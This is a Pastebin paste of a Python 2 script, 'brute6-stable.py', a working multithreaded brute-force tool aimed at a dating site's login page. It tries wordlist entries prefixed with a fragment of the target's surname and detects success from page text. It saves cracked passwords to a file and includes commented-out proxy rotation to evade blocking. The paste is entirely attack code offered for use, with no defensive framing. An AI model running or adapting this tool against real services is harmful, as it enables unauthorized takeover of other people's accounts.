Advertisement
goldlinux

brute6-stable.py

Mar 6th, 2014
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.52 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import sys
  4. import os
  5. try:
  6.     import re, threading, time, logging, random
  7.     from grab import Grab
  8.     from datetime import datetime
  9.     from copy import copy
  10.     from time import time
  11.     from time import ctime
  12.     from time import sleep
  13. except(ImportError):
  14.     print "\nTo use this script you need (grab, python-lxml, python-lxml-dbg ) modules."\
  15.             "Read the top intro for instructions.\n"
  16.     sys.exit(1)
  17. if len(sys.argv) !=6:
  18.     print "Usage: brute.py <user> <last name> <wordlist> <threads> <logging>"
  19.     sys.exit(1)
  20. if sys.argv[5] == 'true':
  21.     logger = logging.getLogger('grab')
  22.     logger.addHandler(logging.StreamHandler())
  23.     logger.setLevel(logging.DEBUG)
  24. try:
  25.     words = open(sys.argv[3], "r").readlines()
  26. except(IOError):
  27.     print "Error: Check your wordlist path\n"
  28.     sys.exit(1)
  29.    
  30. uri = 'https://www.example.com/russian-dating-login.php?loc='
  31. words_loaded = len(words)
  32. wordlist = copy(words)
  33. last = sys.argv[2]
  34. last = last[2:]
  35. success =  0
  36. rining = 1
  37. missed = []
  38. missedCount = False
  39. isAlive = 0
  40.  
  41. def threadLoad(count):
  42.     global success
  43.     global rining
  44.     for i in range(count):
  45.         if rining and success == 0:
  46.             work = Worker()
  47.             work.start()
  48.  
  49. def getword():
  50.     global success
  51.     global rining
  52.     global missedCount
  53.     lock = threading.Lock()
  54.     lock.acquire()
  55.     if len(words) != 0:
  56.         value = random.choice(words)
  57.         words.remove(value)
  58.         value = int(value)
  59.         value = str(value)
  60.     else:
  61.         #print "\n[!] Empty Wordlist ...\n"
  62.         rining = 0
  63.         sys.exit(1)
  64.     lock.release()
  65.     return value
  66.    
  67. def saweResult():
  68.     global success
  69.     global rining
  70.     global missedCount
  71.     print '\033[32m\n[+] Sawing wordlist ...\n\033[0m'
  72.     sleep(10)
  73.     sawed_time = ctime(time())
  74.     if success:
  75.         file = open('success ' + str(sawed_time) + '.txt', 'w')
  76.         file.write(str(sys.argv[1]) + '\t' + success)
  77.         file.close()
  78.     if (len(words)):
  79.         file = open('backup ' + str(sawed_time) + '.txt', 'w')
  80.         file.writelines(["%s" % item  for item in words])
  81.         file.close()
  82.     if (len(missed)):
  83.         file = open('missed ' + str(sawed_time) + '.txt', 'w')
  84.         file.writelines(["%s\n" % item  for item in missed])
  85.         file.close()
  86.     print sawed_time
  87.  
  88. def reloadThreads():
  89.     global success
  90.     global rining
  91.     global missedCount
  92.     global isAlive
  93.     currentThreads = threading.active_count()
  94.     requiredThreads = int(sys.argv[4])
  95.    
  96.     if missedCount:
  97.             if currentThreads < isAlive:
  98.                 recoverThreads = isAlive - currentThreads
  99.             else:
  100.                 recoverThreads = 0
  101.     else:
  102.         isAlive = threading.active_count() - 5
  103.         recoverThreads = 1
  104.     if recoverThreads:
  105.         print '\033[32m[+] Recovering %s threads ...\n\033[0m' % recoverThreads
  106.     threadLoad(recoverThreads)
  107.  
  108. def checker():
  109.     global rining
  110.     print '\033[32m\n[!] Checker running ...\n\033[0m'
  111.     begin_time = time()
  112.     words_per_m = 1
  113.     end_time = time()
  114.     while rining:
  115.         sleep(10)
  116.         current_time = (time() - begin_time) / 60
  117.         words_parsed = words_loaded - len(words) - len(missed)
  118.         if current_time > 0:
  119.             words_per_m = words_parsed / current_time
  120.         if words_per_m > 1:
  121.             end_time = begin_time + ((float(words_loaded) / float(words_per_m)) * 60)
  122.         percent =  100 * (float(words_parsed)/float(words_loaded))
  123.         os.system('clear')
  124.         print '\033[32m[!] WORDS ',words_parsed,'(',percent,' %)',' MISSED ',len(missed),' WPM ',int(words_per_m),'\n\033[0m'
  125.         print '\033[32m[!] RUN ',ctime(begin_time),'\tEND ',ctime(end_time),'\n\033[0m'
  126.         print '\033[32m[!]\t*** Threads alive: ',threading.active_count(),' ***\t\n\033[0m'
  127.         reloadThreads()
  128.     saweResult()
  129.        
  130. class Worker(threading.Thread):
  131.     def bot(self, value, nextword, g):
  132.         global success
  133.         global rining
  134.         global missedCount
  135.         if sys.argv[5] == 'true':
  136.             print "-"*12
  137.             print "\033[32m\n\tUser:",sys.argv[1],"Password:\033[0m","\033[31m",value,"\033[0m"
  138.         g.set_input('login', sys.argv[1])
  139.         g.set_input('password', str(value))
  140.         g.setup(hammer_mode=True, hammer_timeouts=((10, 15), (20, 30), (60, 80)))
  141.         g.submit()
  142.         if g.search(u'Correspondences'):
  143.             print '\033[32m\n\t[!] Successful Login:\033[0m', "\033[31m", value,"\033[0m"
  144.             success =  value
  145.             rining = 0
  146.             sys.exit(1)
  147.         if not g.search(u'Forgot your password?'):
  148.             print '\033[31m[!]\tNOT OK\033[0m'
  149.             missedCount = True
  150.             missed.append(nextword)
  151.             print '\033[31m[!]\tNEXTWORD: ',nextword,'\033[0m'
  152.             sleep(30)
  153.             sys.exit(1)
  154.    
  155.     def run (self):
  156.         global rining
  157.         global success
  158.         global missedCount
  159.         if rining:
  160.             g = Grab()
  161.             g.setup(hammer_mode=True, hammer_timeouts=((10, 15), (20, 30), (60, 80)))
  162.             #g.load_proxylist('proxy.lst', 'text_file', proxy_type='http', auto_init=False, auto_change=True)  
  163.             try:
  164.                 g.go(uri)
  165.             except Exception:
  166.                 print "\n[!] No valid proxy or network error ...\n"
  167.                 rining = 0
  168.                 sys.exit(1)    
  169.             for i in range(len(words)):
  170.                 if rining and not success:
  171.                     sleep(1)
  172.                     nextword = getword()
  173.                     value = last + nextword
  174.                     self.bot(value, nextword, g)
  175.             rining = 0
  176.  
  177. if __name__ == '__main__':
  178.    
  179.     print "\t--------------------------------------------------\n"
  180.     print "[+] Server: www.example.com"
  181.     print "[+] User:",sys.argv[1]
  182.     print "[+] Words Loaded:",words_loaded,"\n"
  183.  
  184.     threadLoad(int(sys.argv[4]))
  185.     print "\n[+] All threads loaded ...\n\a"
  186.     checker()
  187.    
  188.     sleep(5)
  189.    
  190.     try:
  191.         if success:
  192.             print '\033[32m\n\n[+] Successful Login: www.example.com\033[0m'
  193.             print "\033[31m\n[+] User:",sys.argv[1]," Password:",success,"\033[0m"
  194.         else:
  195.             print "\n[-] Couldn't find correct password"
  196.     except(NameError):
  197.         print "\n[-] Couldn't find correct password"
  198.         pass
  199.     print "\n[+] Done ...\n\a\a\a"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement